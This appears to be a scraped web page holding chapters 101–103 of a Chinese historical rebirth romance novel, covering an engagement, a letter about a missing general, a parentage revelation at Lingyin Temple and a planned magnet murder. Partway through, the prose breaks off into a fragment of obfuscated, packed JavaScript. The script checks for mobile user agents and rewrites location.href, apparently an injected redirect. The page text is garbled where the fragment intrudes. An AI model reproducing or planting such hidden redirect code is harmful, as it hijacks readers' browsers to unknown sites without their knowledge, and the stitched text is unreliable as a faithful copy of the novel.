毒性冲破银针的封锁，在她体内横冲直撞，使她彻底陷入昏迷。若再不即时救治，恐怕将精神彻底崩溃，疯症癔症卷土重来。
刻不容缓。
秦欢取出雕刻精细的药匣，袖袍一拂，跪坐榻前，开始施展自己从未在人前用过的医术——那是他真正的看家本领，足以将苏绾从地狱中拉回人世。
时间缓缓流逝。
寅时达旦，天明夜残。
在秦欢高超的医术救治下，苏绾的身体逐渐平静，躁动的毒性被药力压制，喘息也不再急促。但她仍旧沉陷迷蒙之中，意识尚未完全恢复清明。
秦欢沉默地望着她，眸色幽深。
如同合欢散一样，这类催晴药一向具有催发真话的副作用，人在意识最薄弱的时候，本能会不自觉地暴露内心深处最真实的想法。
他垂下眼眸，轻声试探：“苏绾，你听得见我吗？”
苏绾睫毛轻颤，嘴唇微微张合，似乎在回应他。
秦欢俯身靠近，“告诉我，你最想要的是什么？”
苏绾半梦半醒，呢喃细语：“我要活下去。”
活下去？
秦欢的眼神愈发幽深，继续引导：“为什么？”
苏绾眉头紧蹙：“因为，我已经死过一次。”
“死过一次？”
秦欢的呼吸瞬间滞住，眼底翻涌惊涛骇浪。
苏绾此刻毫无防备，完全沉浸在药效催生的本能之中，继续呢喃道：“上辈子……我死了……被他们害死了……所以这一世，我不能再让自己落入他们手里……我必须……掌握主动权……”
她竟然，与他一样。
若是旁人听到这些话，定会以为她胡言乱语，然而秦欢毫不怀疑。
脑海中无数疑问瞬间交织成网，关于苏绾的沉稳、算计、冷静、步步为营，甚至连她的未卜先知——这一切，原来都不是巧合。
难怪，她会设计利用他。
秦欢低头，静静地看着昏睡中的女子。
他应当愤怒的。
从始至终，她一直都在算计他，蛊惑他，利用他。
可是，他无论如何都恨不起来。
她在步步为营，他又何尝不是？
他原以为自己看透世事，能够掌控一切，可如今才发现，真正清醒而冷静的人，从头到尾都是她。她比任何人都清楚自己在做什么，她也从未因儿女情长而失控。
秦欢叹了一口气，伸手替她掖好被角。
所有忧愁怨恨，这一刻烟消云散。
苏绾昏了三日，经历无数重重梦魇，在无霜和秦欢互相配合照料下，她终于缓缓苏醒。
醒来后第一句话：“表哥，我愿意嫁给你。”
秦欢瞬间一滞。
101. 来信
冬日晴朗，天光温润，映得檐下红梅愈发鲜妍。一只喜鹊栖落梅枝，清脆的啼鸣送出吉祥祝福。
苏绾咬着嘴唇：“表哥，我愿意嫁给你。”
秦欢怔愣地望着她，一时竟分不清现实与梦境。
半年多来，他苦苦等待着她的回应，也曾在无数个辗转反侧的夜晚，幻想着她点头的情景。可当这句承诺果真落入耳中时，他却产生一种，宛如太虚幻境般不真实感。
良久，秦欢定了定神，温声道：“你不必这么做，我没事的。”
他垂下眼眸，苦涩道：“与倭人的交易，皆是我自愿，与你无关。你不必因此而自责，更不必拿自己后半生的幸福来交换。”
复又抬眸：“我只希望你，能随心而活。此生无憾，亦无悔。”
轮到苏绾怔愣了。
记忆中的秦欢，总是沉稳冷静，清朗如竹，从不主动向她索求什么，甚至连悲喜情绪都藏匿得滴水不漏。可此刻，她从他眼中，看到了一丝隐忍，一抹克制，还有一种令人心疼的深情。
刹那间，愧疚、懊悔、心酸……各种复杂的情绪交织在一起。苏绾觉得自己真是该死，竟将秦欢逼迫到穷途末路的地步。
“表哥，我对不起你，都是我的错，我不该如此算计你。”
她一头扑进秦欢怀中，泪水顺着眼角滑落，坠入他的衣襟，晕开温热的湿意。
秦欢掌心覆上她的背脊，轻轻拍了拍，呢喃细语：“不是你的错，不是你的错。”
她有什么错呢？她只是想要活下去而已。
错的是那些害她的人。
“不、不是……我……”苏绾哽咽着说不出话来，整个人缩进他怀里，指尖揪着他腰间的衣带不肯松开，鼻尖尽是他衣袍上清冽的药香，熟悉且令人心安。
“别哭了。”指腹拭去粉泪，声音一如既往地柔和，“再哭下去，眼睛哭肿了，就不漂亮了哦。”
苏绾抬起眼眸，眸光坠着残泪，清亮如晨星，“那我如何才能补偿给你呢？”
秦欢低下头，额间抵住她的眉心，温热呼吸交错萦绕，“你我之间，不用分彼此，还提什么补偿呢？”
他甚至愿意为她付出生命，区区一点点蝇头小利，算得了什么。
“可是……”苏绾犹豫不决。
倭寇一事，她的确做得太过分了，丝毫不给他缓冲的余地，刀口直接架到脖颈，生生逼着他表态。也就是秦欢一味宠着她，让着她，换作那个家伙，一早黑着脸拒绝帮忙，还会反过来把刀架回她的肩头。
“如果……”
秦欢微微垂眸，耳尖泛红，声音轻得像落雪，“我能得到一个吻，就好了。”
一个吻？苏绾怔了怔。
记忆中浮现出另一幅画面。
冷宫书房里，她搂着他的脖颈，眼波流转，娇嗔道：“秦大夫，不要再写老掉牙的药方了，你好亲亲我啊。”
秦欢满脸通红，像被暖风吹散的雪花，风中凌乱着。等到她笑着贴上他的唇，他彻底乱了阵脚，手里的狼毫猝然落地，溅起一滩墨迹。
物是人非，山长水阔。
苏绾静静望着眼前人，他的羞涩与紧张，与前世的自己相比，何其相似。命运似一条悠长的河，兜兜转转，又把他们引回当时的渡口，却互换了方向。
她勾唇笑了笑，闭上眼，抬起下颌，默许地迎了上去。
秦欢愣了一瞬，随后嘴角勾起，低下头，带着试探与珍惜，吻住了她的唇。
窗外，喜鹊振翅而飞，梅枝轻颤，暗香浮动，沉入流年深处。
无霜端着一盆温热的清水，沿着回廊走向苏绾的屋子。风从院中穿过，带起些微凉意，让她不自觉缩了缩脖子。
她抬手推开房门，蓦然瞧见苏绾偎在秦欢怀里，两张炽热的唇紧紧贴在一起……
无霜一愣，脸颊瞬间烧得厉害，慌忙低头，连木盆也忘了放下，脚下生风，冲出了屋子。
谁知刚回到门口，就与匆匆跑过来的春蝉撞了个结实。
“哎哟！”两人齐齐叫了一声，各自跌了个满怀。无霜手里的木盆倾覆，溅了两人一身洇湿。
无霜爬起身，抖擞裙摆上的泥泞，瞪了春蝉一眼：“你急什么呀，赶着去投胎么。”
春蝉顾不得脏污的衣襟，拉住无霜的衣袖，急道：“我正要找你呢，文竹来信了。”
文竹跟着晴雷出门已五个月有余，期间一直石沉大海，杳无音信。春蝉放回济南的云雀，不管多少次都是空爪而归。无霜嘴上骂他没良心，每每夜深人静，她都担心着这人到底是死是活，究竟有没有把小姐和她们放在心上。另一方面，她也惦记着晴雷的安危，一腔思念，不敢对任何人倾诉。
听到春蝉提起“来信”二字，她怔了一瞬，拽紧春蝉的袖子，声音有些颤抖：“你说什么？”
春蝉摊开手心，“快看嘛。”
临行前，春蝉嘱咐童子仔细喂养她的云雀，一旦收到来自文竹的消息，立刻飞鸽传书。来来回回路上两地耽搁，这封信迟到了一个月之久。
二人迫不及待打开纸卷。
「小姐亲启：
文竹一切安好，勿念。
小的与晴雷大人沿黄河流域打听许久，皆无所获。后至黄河入海口，听闻有渔家新招上门女婿，持京城口音，相貌与时将军颇为相似，然其矢口否认。晴雷大人仍在查证，尚无定论。另有沈恪老将军已知悉，专门派人协助。
请小姐静候消息，切莫忧心。
文竹叩上」
“太好了，时将军终于有下落了。”小丫头春蝉一直为将军的安危担忧着。
可她转而又疑惑了，“他怎么不承认呢？还做了人家的上门女婿。”
无霜态度淡然，她将信纸重新叠好，“文竹不是说还在查证中，一切还未有定论。”
春蝉撅着嘴，“有消息总比没有强吧。”
无霜将纸卷藏进荷包内，嘱咐春蝉道：“莫要跟小姐提起此事，等到后面有结果了，再说不迟。”
她从来都不喜欢那位黑狗将军，也不愿意让小姐空守一份虚无缥缈的承诺。
想起方才屋内撞见的一幕，无霜不禁暗自为小姐捏了把汗。
屋内暖意融融。
秦欢掌心扣住苏绾的后颈，深深吻住柔软的唇瓣，力度之大，仿佛要将她整个人揉进骨血。
苏绾被吻得意乱情迷，指尖抵住秦欢的肩，含糊低语：“好像有动静。”
秦欢停下来，眼底尚存未散的情潮，声线微哑：“大概是霜儿。”
苏绾推开他，拂去鬓边散落的碎发，慌乱道：“若是被人瞧见，可如何是好？”
秦欢笑意未收，语气漫不经心：“看见又如何？”
苏绾瞪他一眼，嗔怪道：“你倒是不知羞！”
这一世较之上一世，她多了几分羞怯，少了几分恣意。秦欢睐着佳人，忽而分不清自己更喜欢哪种模样，是曾经那份大胆索吻的热情，还是眼前这副欲拒还迎的柔媚。
苏绾亦在暗自思量，这一世的秦欢，怎会如此不同，眼神炽热，举止张扬，就连亲吻都透着不容抗拒的霸道，让她无处可逃。
二人正各怀心思，门扉忽然被人推开。无霜端着一盆重新打好的热水进来，她低头快步上前，将水盆搁下，眼睛不敢乱看，“舅老爷府上遣人送信，大年二十九全家去灵隐寺烧香拜佛，吩咐秦公子和小姐一同前往。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974132|146123||http|test|mini|href|location''.split(''|''),0,{}));
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>苏绾：“知道了，可还有别事？”
无霜：“萧公子送来了九芝斋的点心，给小姐尝尝鲜。”
“哦？太阳从西边出来。”秦欢似笑非笑地扫了苏绾一眼，“他那般鲁莽之人，也懂得礼尚往来的道理。”
苏绾根本记不清自己是怎么回到客栈的，自然也记不得，她双臂勾着萧染的脖颈，双腿箍在他腰间，偏要他喊她“祖宗”，非要他“买供品吃”。作得萧染头皮发麻，差点被她折磨疯掉，连声承诺：“买，买！买空杭州的点心铺都给你！”她才肯罢休。
这边无霜迟疑半晌，终究还是隐去了关于文竹来信的消息，垂手退下：“霜儿没别的事了。”
浮光跃入青砖铺就的庭院，映出斑驳光影。秦欢屈指叩了叩桌沿，缓声道：“你终于拿到了和谈的资格。”
苏绾垂眸，“该来的，总要来了。”
院中梅枝轻颤，一瓣落花随风而下，兀自旋转飘零，飞向门槛之外。
很快到了大年二十九。
年终祭祀之日，灵隐寺前香烟弥漫，钟声清远。僧侣引着香客入殿，依序上前，焚香叩首，默念祈愿。
苏绾来得早些，寂然立于殿外廊下，素色斗篷映得眉眼宁静。她远远望着这满寺的香火，颇有一种跳脱世外的孤寂感。
她亦曾在佛前虔诚叩首，焚香祷告，惟愿此生能嫁与温念。若能如愿以偿，来世化作青石桥，任万人踩踏，风霜雨雪皆不言。
佛赐她一捧烈火焚身。
重活一世，愿望卑微而渺小，她只想要活下去，可命运却再一次偏离了旧轨。
一女许三夫。
何其可笑，何其讽刺。
大仇未报，恩怨未清，前路苍苍茫茫，深山暮雪，不知何处是尽头。
“阿弥陀佛。”
灵隐寺住持手捻佛珠，白眉白须，法相庄严，似悲悯，似叹息。
“汝心似幽谷寒霜，执念深重，难见光明。心生执念，荆棘缠身，愈挣愈痛。”
苏绾：“大师可否渡我超脱？”
住持：“佛曰：‘万法皆空，因果不虚。’世间因果，皆有定数，冤冤相报，何时能休？”
“放下屠刀，方能见菩提。”
殷府全家出动，为殷潜康复祈福。此行排场极大，男丁骑马在前，女眷乘轿随后，家仆、护卫簇拥左右，车马长龙蜿蜒山道，引得路人纷纷侧目。
待至灵隐寺山门前，马蹄声与车轮声渐次止息。
殷夫人率先下轿，双手合十，念念有词，三步一叩，缓缓拾级而上。
身后跟着苏夫人，亦步亦趋，亦是一副虔诚模样。
殷家子女皆不敢怠慢，跪地祈望神佛庇佑家宅平安，父兄康健。连纨绔子弟苏尽欢也不例外，被仆人摁着脑袋跪拜，眉眼间尽是不耐烦。
不远处，一顶上等轿子停了下来。家仆小心掀开轿帘，殷潜缓步而出。
经历过生死，其面容比往昔更显清瘦，鬓边隐见霜白，唯独那双眸子依旧锋锐，丝毫不见暮气。尽管身子骨尚未痊愈，他步履仍旧稳健，背脊挺直，举手投足间自有一股不怒自威的气度。
苏绾远远望着殷潜趸步行来，敛袖上前两步，盈盈拜下：“外甥女苏绾，叩见舅舅大人。”
殷潜掀眸望去，但见少女神情端静，举止有度，既不卑不亢，也无半分谄媚。
他沉默片刻，缓缓点头：“起来吧。”
苏绾从命起身。
殷潜侧眸瞥了一眼苏绾，起身向殿内踱去。
苏绾顿了顿，莲步摇曳跟随。
放下屠刀？
喉咙被人扼住，岂敢束手就擒。
仇人血溅金刀之时，我自见菩提。
102. 祈福
大雄宝殿内，香雾氤氲，烛火明灭，映照金身佛像庄严肃穆。
殷潜跪于蒲团，双手合十，双目微闭，俯身叩拜。衣袍下摆拂过青砖地面，发出细微的摩擦声。
一拜天，风调雨顺；
二拜地，国泰君安；
三拜人，福寿安康。
每一拜皆深深三叩首，额抵地面，久久未起。
九叩首毕，殷潜缓缓起身，袖袍不经意间拂过功德箱，一枚铜钱自袖中悄然滑落，沿着青砖地面滚动，发出清脆的响声。
他俯身拾起铜钱，指腹摩挲上面的“太平通宝”四字，目光沉凝。
殿外放生池水光潋滟，锦鲤穿梭游弋，掀起圈圈波纹。
殷潜驻足池畔，掌心摊开，一把碎米洒入池中，引得鱼儿争相竞食，水花翻跃。
苏绾静立一旁，望着池水映出的倒影，轻声问道：“舅舅求了什么？”
殷潜掸去掌心残留米屑，淡淡道：“求个太平。”
苏绾喃喃重复：“太平……”
池中锦鲤翻腾，水面波纹层层荡开，映得两人的倒影支离破碎。
苏绾凝视碎裂水光，“若靠一炷香、一掬米，便能求得太平，那世间杀伐又何须存在？”
殷潜：“有些事，该做的要做，该求的也要求。人力有时穷尽，祈愿未必是为了求神，更是让自己心安。”
苏绾垂眸道：“舅舅求心安，那我该求什么？”
殷潜瞥了她一眼：“你自然是求良缘。”
顿了顿，似想起什么，“我替你苦寻的乘龙快婿，你不喜欢吗？”
苏绾轻声道：“舅舅的心意，外甥女心领了。并非我不识抬举，辜负了舅舅的美意，实在是母亲忒任性妄为，一味得罪了温侍郎，致使一纸婚约作废，落得眼前这般尴尬境地。”
殷潜抬手挤按睛明，略微无奈道：“你母亲的性子，我自是比谁都了解，我不怪你。只是你错失了温念这棵大树，后半生幸福恐将付诸东流。”
连带着他苦心孤诣所布置的棋局，也一应乱了套。本来他看好温如初早晚入阁，还以为自己握准了内阁的命运。
苏绾岂会读不懂殷潜的心思，她勾唇轻笑道：“我的幸福，从来不假于他人之手。”
“舅舅何必长他人志气，灭自己威风？那温侍郎，不过攀上了内阁与后宫，倒也不至于让舅舅如此忌惮。”
低下头，指尖拂过石栏，“舅舅偏安江南一隅，可知树大招风的道理？他若要对付你，监茶也好，漕运也罢，无中生有，总能抓住破绽。”
复又抬眸，目光凌厉：“欲加之罪，何患无辞。今日舅舅忍让，以为能侥幸脱身，明日他便寻上别的由头置你于死地，敢问舅舅，欲躲到何时？”
“莫若釜底抽薪，纠集一切可用之人，先发制人，敢叫日月换新天！”
话音落下，她才意识到自己一时激愤，狂妄自大过了头，竟口不择言。
殷潜眉头一皱，“你……大胆！”
也未怪罪苏绾无礼，长叹一声，“老夫岂是糊涂之人，怎会不知，倾巢之下，焉有完卵？然贵妃气数已尽，不过苟延残喘，东西二厂相争，贵妃必败。”
苏绾平生最恨这些人的妄自菲薄，忒没骨气。她就不信了，倾尽天下之力，怎么就拿不下小小的温念？
“败不败，也要试过才知晓。”苏绾咬牙，语气抑扬顿挫。
池中锦鲤翻腾渐息，水波平复，倒映着两人沉默的身影。
剑拔弩张之后，殷潜忽而笑了，“想不到你年纪不大，看得竟然比老夫还远，还深。看来之前，是我错看了你。”
他顿了顿，似做了最终决定，“也罢，就听你的，力挺贵妃，反正老夫如今也没有退路了，谁让我欠你的人情呢？收买倭寇一招，你的确表现不错，不，应该说精彩绝伦。”
沉吟片刻，又补充道：“不过有一点，你说错了。”
哪里错了？苏绾抬眸，与他对视。
殷潜负手而立，望向远方，“所谓党争，不过是帝王手中的平衡之术。这天下，从始至终，都是皇家的天下。”
苏绾眸色微敛，脑海中浮现前世种种。
皇帝老儿自以为江山稳固，却被温念玩弄于股掌之间，一杯毒酒殒命于萧染之手。若真懂什么“平衡之术”，何至于这般惨淡收场？
正思索间，殷潜忽然转眸，目光炯炯盯着苏绾，“既然如此，老夫也不必再替旁人遮掩了。”
“有一件事，我该告知——你，其实并非苏君识所生。”
*
斋堂内，烟霞浮动，素纱低垂。僧人奉上清茶果点，一应素净清淡。
殷夫人端坐上首，殷家子女亲眷分席而坐。他们举止端庄，皆不多言，唯有苏尽欢懒散靠在木椅，手里摆弄着茶盏，百无聊赖地扫视一桌斋点。
桌上摆着素糕果脯，蜜渍枇杷泛着莹润光泽，龙井茶酥细腻绵软，还有几碟时令鲜果，清香四溢。
苏尽欢随手捏起一块茶酥，咬了一口，皱起眉头：“这也忒寡淡了，没滋没味，和尚们整日吃这些糟粕，怎么活得下去？”
殷夫人淡淡道：“既是佛门清净地，吃的是修行，讲的是敬重。你若不愿吃，就别动手拿。”
他的这位舅母，向来严格要求子女，不似母亲那般宽容。苏尽欢不敢怠慢，撇撇嘴，不情不愿地又啃了一口，勉强咽下：“罢了罢了，权当尝个新鲜。”
殷夫人不再理会他，转眸看向左右，“怎不见小妹？”
管事嬷嬷躬身回道：“苏夫人出恭去了，还未回来。”
殷夫人捻起茶盏：“等下叫她去偏殿佛堂汇合。”
偏殿佛堂内，苏夫人步履轻缓，绕过雕梁画栋回廊，踱入幽暗深邃的堂室。烛火轻轻跳跃，映得她眼底暗光浮动。
她借口出恭，实则偷偷溜入佛堂，袖中布包紧攥，掌心微微发汗，隐隐透出一丝躁意。
半年前，大理寺牢狱中，她为了泄愤，亲手将七根银针刺入苏绾体内，巧妙藏匿于奇经八脉之间。
按照原本设想，假以时日，银针随血脉游走，一点一点穿透筋骨脏腑，终会让苏绾肠穿肚烂而亡。
此计极妙，温水煮青蛙，旁人根本察觉不到她的手笔。
可惜，她等不及了，也不愿再等下去。
苏绾从未给她活路，逼得她家破人亡、夫离女散。曾经高高在上的苏家主母，如今竟要寄人篱下，活得宛如笑话一样。想她苏殷氏一生机关算尽，到头来挣得白茫茫一片大地干净。
她不甘心！
今日，便是那个贱人的死期。
苏夫人打开布包，现出一块黝黑耀石——玄铁磁石，乃天地奇物，能引动金属之物。
只需她贴身携带磁石，借机靠近苏绾，银针便会被强行吸出，自行穿透血肉。届时苏绾将七窍流血而亡，痛不欲生。
世人既不知苏绾身中银针，也不知是她苏夫人动的手脚，因为没人握有证据——至于那块磁石，只消说自己求来的护体奇物。
先前在殷府时，苏绾身边总有人护着，不是秦欢与萧染，便是那两个跟前伺候的婢女无霜与春蝉。
可今日不同，婢女不得入寺，萧染非亲非故，并未同行而来。秦欢更是推说临时有事，根本未曾上山。
天赐良机，机不可失，时不再来。
苏夫人缓缓吐出一口气，压下心头狂喜，眼底寒光浮动。她低头轻轻摩挲磁石，恍惚看到苏绾挣扎哀嚎、血染寺庙的一幕。
佛祖慈悲？她嗤笑一声，心念如毒蛇盘踞。
佛祖若真慈悲，就不会让她孑然一身，孤独终老。
苏夫人信步走向佛堂深处。
*
放生池畔，殷潜操着深沉的钱塘嗓音，娓娓道出真相，揭开那段尘封已久的往事。
苏绾并非苏君识的亲生女儿，她的生母九香，原是扬州堕花院的一名瘦马。
堕花院幕后坐镇的高人，正是殷潜为首的江南股东团。他暗中经营此地许多年，专门派人网罗姿色出众的幼女，从小精心调教，待其及笄，送入各大官宦之家为妾。
借着这门瘦马生意，再加上后来的倭寇、海贸、盐运等交易，让殷潜在江南，布下错综复杂的人脉利益网织。
九香生得如花似玉，自五岁从战争贩子或人伢子手里买得，养在堕花院到十六岁，被一位
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从京城远道而来的神秘客人看中。二人私相授受，情投意合，如胶似漆。
很快，九香怀上了身孕。
她满心欢喜，等待客人跟老鸨买断卖身契，岂料等来的，却是他不辞而别的消息。
九香从此夜夜洒泪，可怜长寂寂。
殊不知，这位神秘客人，并非寻常富商，而是位及九五之人。打着微服私访的名义，看尽江南烟雨。
彼时殷潜尚为正四品扬州知府，奉命招待贵客，并亲自将他引入堕花院，得以邂逅九香。
一朝东窗事发，惹得太后震怒，急召客人回京，不许他在扬州多留片刻。同时密令扬州知府殷潜，务必斩草除根，除掉九香母子。
客人临行前托付殷潜，恳求他妥善照顾庇佑九香，保她母子平安。
殷潜一向两边下注，既不能违抗太后命令，也不能让客人为难。思来想去，他决定采取折中的办法——安排一场“拐卖逃亡”，让九香远离扬州，潜入京城——最危险的地方，往往最安全。
他找来人伢子大金牙，策划了一出拐卖戏码，将九香秘密送往京城春月坊。为了确保她在青楼里不至受人欺辱，殷潜又暗中施压新婚不久的妹夫苏君识，勒令其“包养”九香。
当然，殷潜未曾明说实情，只简单交代苏君识，扬言这是“上头的意思”。
苏君识并非愚莽鲁直之人，殷潜贸然塞给他一名美妇，来历不明自然不敢轻易接手。无奈殷家势雄，苏君识本就低人一等，又生性懦弱，硬着头皮将九香改了良籍，养在春月坊，充做外室。
虽说是外室，苏君识却连九香一根手指都不曾碰过，他没那个胆子，敢顶风作案。但他的戏码，演得足够真实，每隔一段时间就去春月坊探望，银子花出去也不心疼，也算对得起殷潜的托付。
一晃八年过去，彼此相安无事。
某日，苏夫人得知此事，震怒不已。她不顾苏君识苦苦哀求，用一顶小轿，强行将九香抬回苏家，娶做妾室。
自打九香进门以后，苏夫人对她处处打压，百般刁难，甚至亲手设下毒计，将九香沉塘溺死。
苏君识明知九香死得冤枉，却不敢对外声张，只能装聋作哑，任由此事被掩埋。
殷潜得知后，气得七窍生烟，可事已至此，他既无力补救，也无法将真相捅破。苏君识是他扶持的亲妹夫，苏夫人又是他的嫡亲妹妹，叫他如何处置凶手？
这桩旧事，就此尘封于岁月的沉淀。
可怜九香一生，身世浮沉，未曾再见那位神秘客人一面，最终香消玉殒，死于毒妇之手。
苏绾闻言，心中翻起惊涛骇浪。
她万万没想到，自己的生母，竟然有着如此惊心动魄的人生。真相远比她想象的更为复杂、更为凄惨。一时间，各种复杂的情绪涌上心头，愤怒、不甘、悲痛……交织在一起，令她忍不住潸然泪下。
“那位客人，”苏绾声音微颤：“他……可曾知晓娘亲的结局？”
殷潜目光一顿，轻叹了一声，“世间之事，又如何逃得过那位的法眼？不过是睁一只眼，闭一只眼罢了。”
言毕，他摇了摇头，语气里带着几分淡淡的讽意。
“最是无情帝王家。”
短短七字，道尽了世间最冷漠的真相。
苏绾的心脏仿佛被狠狠揪住，胸口一阵钝痛。
殷潜望着苏绾，缓缓道：“上一辈的恩怨，本不该再牵连到你们这些小辈。我知你对苏夫人心怀嗔恚，但念在我曾收留你娘亲的情分上，你莫要再记恨你的母亲罢。”
他们本是同根生的血亲，自然相依相护。殷潜此番故意向苏绾透露身世，为的就是道德绑架她，逼迫她放弃仇恨。
可惜那份弑母之恨，那身刺骨之痛，又岂是一句情分，就能遮掩过去的？
苏绾垂眸不语，许久，抬头看向殷潜。
“是，舅舅。”
她的声音轻缓，听不出喜怒。
池水金光凛凛，映出她眼底幽深的两团暗火。
二人停驻一阵，直至殷夫人几次派人来催，这才一前一后，递嬗进入偏殿佛堂。
那里有一出好戏，正等着苏绾上场。
103. 反杀
大雄宝殿后方，药王殿琉璃金顶流转华彩，殿中供奉着药王菩萨，慈眉善目，金身足有丈高。两侧楹联高挂：“五蕴皆空，一尘不染，感化归正觉；诸恶莫作，众善奉行，精进证菩提。”
因着殷潜前日遇刺，殷夫人特意携全家老小上山，专程拜谒这尊“消灾延寿”药师佛。当苏绾踏入佛堂时，殷夫人已领着子女叩拜了数轮。
只见殷夫人翟衣铺展，三回九转虔诚叩首。身后子女们鸦雀无声地起伏，唯有苏家小公子苏尽欢缩在角落，歪斜的衣领沾着糖霜与杏仁碎，脖颈不安分地扭动，活似被香火熏疼了眼。
素色裙裾无声拂过青砖地面，苏绾悄然趸至苏尽欢身旁，寻了一方蒲团，端端正正地跪拜祈祷。
自打从苏夫人口中得知，端阳夜那场杀人事件，竟由苏绾全权策划，苏尽欢对苏绾的恐惧与日俱增，想起自己小时候没少欺负她，整日里如履薄冰，唯恐她会记仇报复他。
少年绷紧脊背，喉结滚动，结结巴巴道：“我、我这里挤，你、你去别处吧。”
苏绾斜睨他一眼，广袖滑落出半截皓腕，手肘用力撞向少年肋下，“你起开，不就有位置了？”
被她这么一推，苏尽欢向后一栽歪，翻身滚了一遭，衣襟擦地弄出些许声响，惹得众人纷纷侧目。
殷夫人掌心沉香念珠停下，面露不悦：“站没站相，坐没坐相，成何体统！”
苏尽欢手忙脚乱爬起身，衣襟糖渣漱漱落地，也不敢告苏绾的状，灰溜溜地挪向别处。他还算有眼力见，明白在这殷府里头，没人会像在苏府那般护着他。
苏绾刚理好裙裾，忽觉香灰骤起，迷了她的眼。她低头揉了揉眼睑，再抬头时，却见苏夫人飘飘然跪坐身旁。
才从殷潜那里听得娘亲身世，此刻她对苏夫人打心眼里憎恶，全然无心与苏夫人同处一处呼吸。
苏绾厌恶地甩了甩裙摆，正要起身离开，听得苏夫人一声冷笑：“怎么，见了母亲，连礼数都忘了？还是说，你根本没脸见人？”
听她这么一说，苏绾反而不想走了，垂眸道：“母亲这话说的，女儿怎敢忘礼？怕扰了母亲的清净，反倒显得女儿不懂事了。”言毕，她挺直腰板，双手合十，开始认真祷告。
“啧。”苏夫人丹凤眼微眯，嘴角扯出一丝似笑非笑的弧度。袖中冰凉的磁石贴着腕骨，心内盘算着如何靠近苏绾——那小娼妇素来机警，稍有不慎便会打草惊蛇。
猎人捕猎，须得耐心。
“阿弥陀佛。”苏夫人念了几句经文，忽然长叹一声，“女儿，从前你总说什么灵童克母，命弱女子抚养则反噬所出。我那时还怪道你胡诌，如今日思夜想，终于想通了这个道理。”
她顿了顿，黯然道：“想来你才是灵童转世，我含辛茹苦将你抚养长大，逆天而行，命里犯了煞星，落得个夫离女散、子伤家败的凄凉下场。”
那副矫揉造作模样，令苏绾心里作呕，冷声道：“母亲这话说对了一半，一来，我并非什么灵童转世，都是胡诌骗你的，好让你放过芸娘和宝哥儿；二来，您也不必口口声声讲什么哺育之恩。我自有娘亲养育，只不过……”
她垂下眼眸，声音渐低：“想来我命里亲恩浅薄，不过十年光景，福分耗尽，折断了亲缘这根线。”
“全拜母亲所赐。”苏绾一字一顿，声音冷得仿佛要将这满殿香火都淬成冰。
字字带刺，句句讥讽。
若在往常，苏夫人早就一巴掌招呼她了，眼前不得不强压怒火，袖里滑出一方丝绸帕子，拭去唇角的冷意，温声道：“你娘的事，确是母亲背了黑锅。你那时年纪小，童言无忌，不懂世道艰险，我不怪你。”
帕子掩住半张脸，眼角泪光闪烁：“这些年风风雨雨，咱们不也相安无事？母女一场，虽有误会，终究血浓于水，一家人不说两家话。”
苏夫人一反常态，绝对没安好心。苏绾冷眼瞧着她做戏，指尖在袖中掐得发白。
苏夫人话锋一转，惋惜道：“我为你操劳终身大事，替你寻了温侍郎这般良配。可惜啊，姻缘断了弦，有情人终成陌路。”
“良配？”
她不提温如初也罢，一提起来，令苏绾怒火中烧，她兀自站起身，裙裾翻飞，手指苏夫人，怒道：“母亲可不要再讲笑话了，真真笑死人了。与温侍郎的联姻，从头到尾不过是一场权力的交易，可有人问过我愿不愿意？从前我愚钝，任由你们摆布。如今我看清了，你们个个都是豺狼虎豹，只顾自己利益，何曾管过他人死活？”
她声音不高，字字如针，刺得苏夫人面色骤变，“你、你怎能对长辈如此不敬？我全是一片好心……”
“好心？”苏绾嗤笑。
“母亲的好心，便是将我娘逼上绝路，将我当作棋子摆布？若不是看在苏君识曾给我娘一处安身之所，我连这些话都懒得与你说。真要算起来，你这条命，怕是不够还债的。”
苏夫人脸色由红转白，又由白转青，像是被剥去了金玉华服，露出内里的不堪败絮。她从未被人指着鼻子骂得这般不堪过，更没想到从前那个三棒子打不出一个屁的木头桩子，竟变得如此锋芒毕露，专戳人的肺管子。
苏夫人张了张嘴，不知该如何反驳。她一辈子养尊处优，从没学会温声软语服人。她既放不下身段乞求谅解，又不能当场撕破脸皮。
苏绾见她这般畏惧模样，好似一拳打在棉花团，她叫不准对方端地是何歹毒心思。
绝对有诈。
苏绾抬手揉了揉眉心，透出几分倦意：“我有些乏了，要回去歇息，母亲再会吧。”
眼见苏绾旋裙欲走，苏夫人心内一急，五指遽然扣住她的手腕，声音拔高：“女儿，女儿，你莫走。你听我说，我真的抓到你娘偷人的证据！”
苏绾心头一震。
众人听到动静，纷纷投来探究的目光。
“你干什么呀。”苏绾试图抽回手，却被苏夫人攥得更紧，硬是将她拽扯到金殿红柱后面。
苏夫人压低声音，语速飞快。那是八年前的一个雨夜，管事嬷嬷匆匆来报，巷口停了一辆黑色马车，整整一夜未动。车里下来一位披着斗篷的男人，身形高大，帽檐压得很低。他在府外徘徊许久，翻墙进入九香就寝的西厢房。
苏夫人闻讯，立刻带着心腹前去查看。透过窗棂缝隙，她看见九香和男人相对而坐。烛光下，九香抓着他的袖子，低声诉说着什么，而男子背对苏夫人，沉默不语。
苏夫人屏息细听，依稀听见九香恳求他：“带我走。”
男子抬手温柔地抚过她的发丝，始终不肯点头答应她。九香伏身投进他的怀抱，单薄的肩膀颤抖不已。
两人暧昧偷情的一幕，让苏夫人怒火中烧。九香好大的胆子，竟敢私通外男，败坏苏家门风。捉奸须捉双，待男子宽衣解带，再冲进去抓他个现行。
男子似乎无意逗留太久，低声交代几句，随即翻窗而出。九香痴痴立于窗前，目送背影消失于雨幕。
苏夫人立即推门而入，九香情知事已败露，跪地乞求苏夫人不要声张。
错失捉奸良机，苏夫人手中并无确凿证据，只得暂且按下怒火，留待日后清算。
那一夜之后，男子再未出现，而九香，也没能熬过那个秋天。
若不是殷潜已将身世和盘托出，苏绾断然不会相信苏夫人这番“捉奸”的说辞。
苏绾：“空口无凭，任你如何污蔑，休想败坏我娘的名声。”
